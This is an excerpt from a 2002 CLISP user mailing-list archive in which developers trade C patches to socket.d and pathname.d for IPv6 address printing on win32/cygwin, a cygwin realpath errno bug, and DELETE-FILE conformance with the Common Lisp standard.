<20020308151522.A3062@localhost.localdomain> Message-ID: Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 8 21:29:03 2002 X-Original-Date: 09 Mar 2002 00:23:02 -0500 committed. I changed the wrappers to barf on errors instead of returning nil, as is the Lisp way (as opposed to the UNIX way). Thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Live Lisp and prosper. From ampy@ich.dvo.ru Sat Mar 09 03:28:21 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jf1O-00045a-00 for ; Sat, 09 Mar 2002 03:28:18 -0800 Received: (qmail 10651 invoked from network); 9 Mar 2002 11:27:50 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 9 Mar 2002 11:27:50 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Sat, 09 Mar 2002 21:27:33 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <182974791.20020309204958@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re: [clisp-list] ipv6 on cygwin & win32 In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 9 03:29:03 2002 X-Original-Date: Sat, 9 Mar 2002 20:49:58 +1000 Hello Sam, Saturday, March 09, 2002, 3:07:07 AM, you wrote: Sam> Those of you who use win32 (msvc) or cygwin -- please test the appended Sam> patch. What is in_addr6 ? On MSVC it's declared as struct in_addr6 { u_char s6_addr[16]; /* IPv6 address */ }; what is in incompatible with ipv6_ntop(buffer,*(const struct in6_addr*)h->h_addr); since in6_addr is declared as #define in6_addr in_addr6 -- Best regards, Arseny mailto:ampy@ich.dvo.ru From samuel.steingold@verizon.net Sat Mar 09 07:58:29 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jjEq-0001sr-00 for ; Sat, 09 Mar 2002 07:58:28 -0800 Received: from gnu.org ([151.203.227.220]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020309155826.SNMU8955.out016.verizon.net@gnu.org>; Sat, 9 Mar 2002 09:58:26 -0600 To: Arseny Slobodjuck Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] ipv6 on cygwin & win32 References: <182974791.20020309204958@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <182974791.20020309204958@ich.dvo.ru> Message-ID: Lines: 95 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 9 07:59:04 2002 X-Original-Date: 09 Mar 2002 10:52:56 -0500 Hi Arseny, > * In message <182974791.20020309204958@ich.dvo.ru> > * On the subject of "Re: [clisp-list] ipv6 on cygwin & win32" > * Sent on Sat, 9 Mar 2002 20:49:58 +1000 > * Honorable Arseny Slobodjuck writes: > > Saturday, March 09, 2002, 3:07:07 AM, you wrote: > > Sam> Those of you who use win32 (msvc) or cygwin -- please test the appended > Sam> patch. > > What is in_addr6 ? On MSVC it's declared as > > struct in_addr6 { > u_char s6_addr[16]; /* IPv6 address */ > }; I take it to mean that the patch does not work. What about this one? (it should be trivially equivalent to the current code) Karsten, please test it too. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! The paperless office will become a reality soon after the paperless toilet. --- socket.d.~1.54.~ Tue Dec 11 16:44:10 2001 +++ socket.d Sat Mar 9 10:43:34 2002 @@ -130,7 +130,7 @@ # Converts an AF_INET address to a printable, presentable format. # ipv4_ntop(buffer,addr); -# > sockaddr_in addr: IPv4 address +# > struct in_addr addr: IPv4 address # < char[] buffer: printable address # buffer should have at least 15+1 characters. #ifdef HAVE_IPV4 @@ -145,35 +145,32 @@ # Converts an AF_INET6 address to a printable, presentable format. # ipv6_ntop(buffer,addr); -# > sockaddr_in6 addr: IPv6 address +# > struct in6_addr addr: IPv6 address # < char[] buffer: printable address # buffer should have at least 45+1 characters. #ifdef HAVE_IPV6 + #ifndef s6_addr16 + #define s6_addr16 in6_u.u6_addr16 + #endif + #if defined(WIN32) || defined(UNIX_CYGWIN32) + #define S6_ADDR16(addr) ((u_short*)((addr).s6_addr)) + #else + #define S6_ADDR16(addr) (addr).s6_addr16 + #endif #ifdef HAVE_INET_NTOP #define ipv6_ntop(buffer,addr) \ inet_ntop(AF_INET6,&addr,buffer,45+1) - #elif defined(WIN32) || defined(UNIX_CYGWIN32) - #define ipv6_ntop(buffer,addr) \ - (sprintf(buffer,"%x:%x:%x:%x:%x:%x:%x:%x", \ - ntohs(((u_short*)(addr).s6_addr)[0]), \ - ntohs(((u_short*)(addr).s6_addr)[1]), \ - ntohs(((u_short*)(addr).s6_addr)[2]), \ - ntohs(((u_short*)(addr).s6_addr)[3]), \ - ntohs(((u_short*)(addr).s6_addr)[4]), \ - ntohs(((u_short*)(addr).s6_addr)[5]), \ - ntohs(((u_short*)(addr).s6_addr)[6]), \ - ntohs(((u_short*)(addr).s6_addr)[7])),buffer) #else #define ipv6_ntop(buffer,addr) \ (sprintf(buffer,"%x:%x:%x:%x:%x:%x:%x:%x", \ - ntohs((addr).in6_u.u6_addr16[0]), \ - ntohs((addr).in6_u.u6_addr16[1]), \ - ntohs((addr).in6_u.u6_addr16[2]), \ - ntohs((addr).in6_u.u6_addr16[3]), \ - ntohs((addr).in6_u.u6_addr16[4]), \ - ntohs((addr).in6_u.u6_addr16[5]), \ - ntohs((addr).in6_u.u6_addr16[6]), \ - ntohs((addr).in6_u.u6_addr16[7])),buffer) + ntohs(S6_ADDR16(addr)[0]), \ + ntohs(S6_ADDR16(addr)[1]), \ + ntohs(S6_ADDR16(addr)[2]), \ + ntohs(S6_ADDR16(addr)[3]), \ + ntohs(S6_ADDR16(addr)[4]), \ + ntohs(S6_ADDR16(addr)[5]), \ + ntohs(S6_ADDR16(addr)[6]), \ + ntohs(S6_ADDR16(addr)[7])),buffer) #endif #endif From vs1100@terra.es Sat Mar 09 07:59:13 2002 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp7.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jjFX-00027r-00 for ; Sat, 09 Mar 2002 07:59:11 -0800 Received: from karsten.terra.es ([62.36.158.98]) by tsmtp7.mail.isp (Netscape Messaging Server 4.15 tsmtp7 Jul 26 2001 13:10:38) with ESMTP id GSPR2E00.EWL for ; Sat, 9 Mar 2002 16:59:02 +0100 Message-Id: <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] File error in clisp 2.28/cygwin testsuite execution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 9 08:00:02 2002 X-Original-Date: Sat, 09 Mar 2002 16:58:47 +0100 Hello, the testcase that fails with clisp 2.28 /cygwin is the following (I added the handler-case so that it can be interactively used) (handler-case (progn (with-open-file (s "/tmp/foo35.tmp" :direction :output)) (delete-file "/tmp/foo35.tmp/bar")) (file-error (error) :file-error) (condition (condition) (values :other condition)) (:no-error (dont-care) (declare (ignore dont-care)) :no-error) ) It returns :no-error, although the test-case assumes that a file error is raised (as it does in clisp 2.28 win32 native) I wonder a bit why this is assumed The with-open-file will fail, if the directory /tmp does no exist. On my machine it exists for cygwin and linux, but not for windows. The delete-file fails on my machine only for linux (redhat), but not for windows nor for cygwin. Karsten From samuel.steingold@verizon.net Sat Mar 09 08:23:42 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jjdE-0001HH-00 for ; Sat, 09 Mar 2002 08:23:41 -0800 Received: from gnu.org ([151.203.227.220]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020309162339.OMIK7755.out009.verizon.net@gnu.org>; Sat, 9 Mar 2002 10:23:39 -0600 To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp 2.28 on cygwin References: <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 9 08:24:04 2002 X-Original-Date: 09 Mar 2002 11:18:08 -0500 > * In message <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es> > * On the subject of "Re: [clisp-list] Clisp 2.28 on cygwin" > * Sent on Wed, 06 Mar 2002 20:18:13 +0100 > * Honorable Karsten writes: > > > > Is there anything that I can do to really resolve the ualarm issue? > > > >it appears that cygwin provides a working ualarm, right? > >where/how is it declared? > > Ualarm is defined in > /usr/include/sys/unixstd.h > as > useconds_t _EXFUN(ualarm, (useconds_t __useconds, useconds_t __interval)); > > useconds_t is in /usr/include/sys/types.h > #if defined(__CYGWIN__) || defined(__rtems__) > typedef long useconds_t; > #endif useconds_t, as follows from the name, should be unsigned. please file a cygwin bug report. do I understand that, to compile CLISP, you removed the CLISP-supplied definitions of ualarm &c (or just the declarations)? If you removed just the declarations, please try removing the definitions as well (so that you will be testing whether CLISP can use the cygwin-supplied ualarm) and check whether CLISP handles interrupts (like Ctrl-C) correctly (this appears to be the only place where ualarm is used). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Good judgment comes from experience and experience comes from bad judgment. From samuel.steingold@verizon.net Sat Mar 09 13:30:26 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16joQ5-0002mX-00 for ; Sat, 09 Mar 2002 13:30:25 -0800 Received: from gnu.org ([151.203.227.220]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020309212954.QEGR10148.out011.verizon.net@gnu.org>; Sat, 9 Mar 2002 15:29:54 -0600 To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution References: <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 9 13:31:03 2002 X-Original-Date: 09 Mar 2002 16:24:17 -0500 > * In message <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> > * On the subject of "[clisp-list] File error in clisp 2.28/cygwin testsuite execution" > * Sent on Sat, 09 Mar 2002 16:58:47 +0100 > * Honorable Karsten writes: > > the testcase that fails with clisp 2.28 /cygwin is the following (I > added the handler-case so that it can be interactively used) > > (handler-case > (progn > (with-open-file (s "/tmp/foo35.tmp" :direction :output)) > (delete-file "/tmp/foo35.tmp/bar")) > (file-error (error) :file-error) > (condition (condition) (values :other condition)) > (:no-error (dont-care) (declare (ignore dont-care)) :no-error) > ) > > It returns :no-error, although the test-case assumes that a file error > is raised (as it does in clisp 2.28 win32 native) > > I wonder a bit why this is assumed the tests were originally designed on UNIX, so the existence of /tmp is always assumed throughout the tests. WITH-OPEN-FILE is a touch(1) - it creates a plain file (non-dir), and DELETE-FILE accesses a non-existent dir - which should generate a FILE-ERROR. > The with-open-file will fail, if the directory /tmp does no exist. On > my machine it exists for cygwin and linux, but not for windows. The > delete-file fails on my machine only for linux (redhat), but not for > windows nor for cygwin. I see. delete-file should fail in the call I wonder why it does not - could you please debug that? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! The early bird may get the worm, but the second mouse gets the cheese. From samuel.steingold@verizon.net Sat Mar 09 14:59:49 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jpoa-0006Oz-00 for ; Sat, 09 Mar 2002 14:59:48 -0800 Received: from gnu.org ([151.203.227.220]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020309225903.QBUQ20881.out018.verizon.net@gnu.org>; Sat, 9 Mar 2002 16:59:03 -0600 To: Peter Burwood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp 2.28 on cygwin References: <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 9 15:00:04 2002 X-Original-Date: 09 Mar 2002 17:53:15 -0500 Thanks Peter - I installed your patch. Karsten, please do "cvs up" and try again. BTW, Peter, did you test the cygwin ipv6 patch? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Failure is not an option. It comes bundled with your Microsoft product. From clisp@peterb.org.uk Sat Mar 09 19:47:01 2002 Received: from mta07-svc.ntlworld.com ([62.253.162.47]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16juIW-000310-00 for ; Sat, 09 Mar 2002 19:47:00 -0800 Received: from proxyplus.universe ([62.253.95.155]) by mta07-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020310034657.JHAL22101.mta07-svc.ntlworld.com@proxyplus.universe> for ; Sun, 10 Mar 2002 03:46:57 +0000 Received: from 127.0.0.1 by Proxy+; Sun, 10 Mar 2002 03:45:06 GMT To: clisp-list@sourceforge.net Subject: Re: [clisp-list] ipv6 on cygwin & win32 References: <182974791.20020309204958@ich.dvo.ru> From: Peter Burwood In-Reply-To: Sam Steingold's message of "09 Mar 2002 10:52:56 -0500" Message-ID: Lines: 13 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 9 19:47:02 2002 X-Original-Date: 10 Mar 2002 03:45:06 +0000 Sam Steingold writes: > I take it to mean that the patch does not work. > What about this one? (it should be trivially equivalent to the current code) > > Karsten, please test it too. Sam, It compiles and builds without error. No idea whether it works because I don't know how to test it. Peter From ampy@ich.dvo.ru Sat Mar 09 20:21:26 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jupj-0007b1-00 for ; Sat, 09 Mar 2002 20:21:20 -0800 Received: (qmail 3087 invoked from network); 10 Mar 2002 04:21:07 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 10 Mar 2002 04:21:07 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Sun, 10 Mar 2002 14:20:31 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <18210217942.20020310142054@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re[2]: [clisp-list] ipv6 on cygwin & win32 In-reply-To: References: <182974791.20020309204958@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 9 20:22:05 2002 X-Original-Date: Sun, 10 Mar 2002 14:20:54 +1000 Hello Sam, Sunday, March 10, 2002, 1:52:56 AM, you wrote: >> Sam> Those of you who use win32 (msvc) or cygwin -- please test the appended >> Sam> patch. >> >> What is in_addr6 ? On MSVC it's declared as >> >> struct in_addr6 { >> u_char s6_addr[16]; /* IPv6 address */ >> }; Sam> I take it to mean that the patch does not work. Sam> What about this one? (it should be trivially equivalent to the current code) It compiles on msvc and my HTTP-getter works with it. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From pjb@arcangel.dircon.co.uk Sun Mar 10 13:32:21 2002 Received: from mta05-svc.ntlworld.com ([62.253.162.45]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kAv7-0002d3-00 for ; Sun, 10 Mar 2002 13:31:57 -0800 Received: from proxyplus.universe ([62.255.71.90]) by mta05-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020310213150.LRYV7206.mta05-svc.ntlworld.com@proxyplus.universe> for ; Sun, 10 Mar 2002 21:31:50 +0000 Received: from 127.0.0.1 by Proxy+; Sun, 10 Mar 2002 21:31:00 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution References: <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Sam Steingold's message of "09 Mar 2002 16:24:17 -0500" Message-ID: Lines: 199 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 10 13:33:02 2002 X-Original-Date: 10 Mar 2002 21:30:59 +0000 Sam Steingold writes: > > * In message <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> > > * On the subject of "[clisp-list] File error in clisp 2.28/cygwin testsuite execution" > > * Sent on Sat, 09 Mar 2002 16:58:47 +0100 > > * Honorable Karsten writes: > > > > the testcase that fails with clisp 2.28 /cygwin is the following (I > > added the handler-case so that it can be interactively used) > > > > (handler-case > > (progn > > (with-open-file (s "/tmp/foo35.tmp" :direction :output)) > > (delete-file "/tmp/foo35.tmp/bar")) > > (file-error (error) :file-error) > > (condition (condition) (values :other condition)) > > (:no-error (dont-care) (declare (ignore dont-care)) :no-error) > > ) > > > > It returns :no-error, although the test-case assumes that a file error > > is raised (as it does in clisp 2.28 win32 native) > > > > I wonder a bit why this is assumed > > the tests were originally designed on UNIX, so the existence of /tmp is > always assumed throughout the tests. > > WITH-OPEN-FILE is a touch(1) - it creates a plain file (non-dir), and > DELETE-FILE accesses a non-existent dir - which should generate a > FILE-ERROR. > > > The with-open-file will fail, if the directory /tmp does no exist. On > > my machine it exists for cygwin and linux, but not for windows. The > > delete-file fails on my machine only for linux (redhat), but not for > > windows nor for cygwin. > > I see. delete-file should fail in the > call > I wonder why it does not - could you please debug that? The problem with cygwin seems to be down to realpath and readlink. realpath is called with "/tmp/foo35.tmp/." and returns "/tmp/foo35.tmp" with errno EINVAL. Under Linux, the return is NULL and the errno is ENOTDIR for this call. Thus Linux will cause a file error to be raised by assure_dir_exists, as when realpath returns NULL, then assure_dir_exists generates a FILE-ERROR when errno != ENOENT or tolerantp is false. Now, realpath in this example determines its result and errno from the internal call to readlink and the SUSv2 distinguishes some errno as follows (ENOENT and ENOTDIR are the same for readlink and realpath): [EINVAL] The path argument names a file that is not a symbolic link. [ENOENT] A component of file_name does not name an existing file or file_name points to an empty string. [ENOTDIR] A component of the path prefix is not a directory. So, it appears to be a bug in Clisp's realpath assuming that readlink will return ENOTDIR in favour of EINVAL. Fortunately, we can identify this case in realpath and I've attached a patch. In fact, I've supplied an alternative patch in case you don't like the first. They have both been tested on Cygwin. 2002-03-10 Peter Burwood * pathname.d (realpath): Favour ENOTDIR rather than EINVAL for Cygwin. Index: pathname.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/pathname.d,v retrieving revision 1.170 diff -p -u -2 -r1.170 pathname.d --- pathname.d 28 Feb 2002 19:49:30 -0000 1.170 +++ pathname.d 10 Mar 2002 20:33:08 -0000 @@ -198,4 +198,8 @@ local char* realpath (const char* path, # directory, not a symbolic link to_ptr[-1] = '/'; # insert the '/' again + } else if (!S_ISLNK(statbuf.st_mode)) { + # something else, but not a directory or symbolic link. + errno = ENOTDIR; + return NULL; } else #endif Index: pathname.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/pathname.d,v retrieving revision 1.170 diff -p -u -2 -r1.170 pathname.d --- pathname.d 28 Feb 2002 19:49:30 -0000 1.170 +++ pathname.d 10 Mar 2002 20:38:21 -0000 @@ -241,4 +241,11 @@ local char* realpath (const char* path, to_ptr = from_ptr; } else { + #if defined(UNIX_CYGWIN32) + # When we've got here, we know the file is not a link due to + # readlinks and not a directory, as S_ISDIR has been checked. + # Thus, treat EINVAL as ENOTDIR because CLISP prefers ENOTDIR. + if (errno == EINVAL) + errno = ENOTDIR; + #endif #if defined(UNIX_IRIX) if ((errno == EINVAL) || (errno == ENXIO)) I did have a quick try with Cygwin's realpath and that was looking hopeful as realpath ("/tmp/foo35.tmp/.") returned NULL and errno ENOENT. Unfortunately, realpath ("/tmp/foo/bar/."), where /tmp is empty, returns "/tmp/foo/bar" and doesn't change errno. Perhaps this next bit should be another email... I do question the consistency of Clisp here w.r.t. when an error is or is not generated. That is, it seems that delete-file can be called with other arguments and raise no error at all. (with-open-file (s "/tmp/foo.txt" :direction :output)) (delete-file "/tmp/foo.txt") -> #P/tmp/foo.txt" ; no error, it existed. (delete-file "/tmp/foo.txt") -> NIL ; still no error, but now it doesn't According the CLHS, on delete-file delete-file filespec => t It is implementation-dependent whether an attempt to delete a nonexistent file is considered to be successful. delete-file returns true if it succeeds, or signals an error of type file-error if it does not. Which means that delete-file cannot return NIL. Clisp is non-conformant here, as is Clisp returning the pathname of the deleted file. A patch to delete-file is below. I've chosen to make delete-file on a nonexistent file be an error. You may disagree as it does change behaviour. Please examine this patch carefully, because I'm not sure on the STACK code. Peter 2002-03-10 Peter Burwood * pathname.d (delete_file): CLtL2 compatibility. DELETE-FILE returns T or raises an error. Index: pathname.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/pathname.d,v retrieving revision 1.170 diff -p -u -2 -r1.170 pathname.d --- pathname.d 28 Feb 2002 19:49:30 -0000 1.170 +++ pathname.d 10 Mar 2002 21:21:47 -0000 @@ -7653,23 +7657,22 @@ LISPFUNN(delete_file,1) { var object namestring = assure_dir_exists(false,true); # filename for the operating system if (eq(namestring,nullobj)) { - # path to the file does not exist ==> return NIL - skipSTACK(1); value1 = NIL; mv_count=1; return; + # path to the file does not exist + fehler_dir_not_exists(STACK_0); } check_delete_open(STACK_0); # delete file: #ifdef FILE_EXISTS_TRIVIAL - if (!file_exists(namestring)) { # file does not exist -> value NIL - skipSTACK(1); value1 = NIL; mv_count=1; return; - } + if (!file_exists(namestring)) { fehler_file_not_exists(); } #endif with_sstring_0(namestring,O(pathname_encoding),namestring_asciz, { if (!delete_file_if_exists(namestring_asciz)) { - # file does not exist -> value NIL - FREE_DYNAMIC_ARRAY(namestring_asciz); skipSTACK(1); - value1 = NIL; mv_count=1; return; + # file does not exist + FREE_DYNAMIC_ARRAY(namestring_asciz); + fehler_file_not_exists(); } }); - # file existed, was deleted -> pathname (/=NIL) as value - value1 = popSTACK(); mv_count=1; + # file exists and was deleted -> t + skipSTACK(1); # forget pathname + value1 = T; mv_count=1; } From samuel.steingold@verizon.net Sun Mar 10 20:59:26 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kHu9-0005uI-00 for ; Sun, 10 Mar 2002 20:59:25 -0800 Received: from gnu.org ([151.203.227.220]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020311045932.VERC24554.out007.verizon.net@gnu.org>; Sun, 10 Mar 2002 22:59:32 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution References: <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 62 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 10 21:00:08 2002 X-Original-Date: 10 Mar 2002 23:53:08 -0500 > * In message > * On the subject of "Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution" > * Sent on 10 Mar 2002 21:30:59 +0000 > * Honorable Peter Burwood writes: > > Sam Steingold writes: > > > 2002-03-10 Peter Burwood > > * pathname.d (realpath): Favour ENOTDIR rather than EINVAL for Cygwin. committed -- thanks! [Bruno, this fixes a cygwin-specific bug] incidentally, why is CLISP implementing its own realpath? is the system one known to be deficient in any way? > According the CLHS, on delete-file > > delete-file filespec => t > > It is implementation-dependent whether an attempt to delete a > nonexistent file is considered to be successful. > > delete-file returns true if it succeeds, or 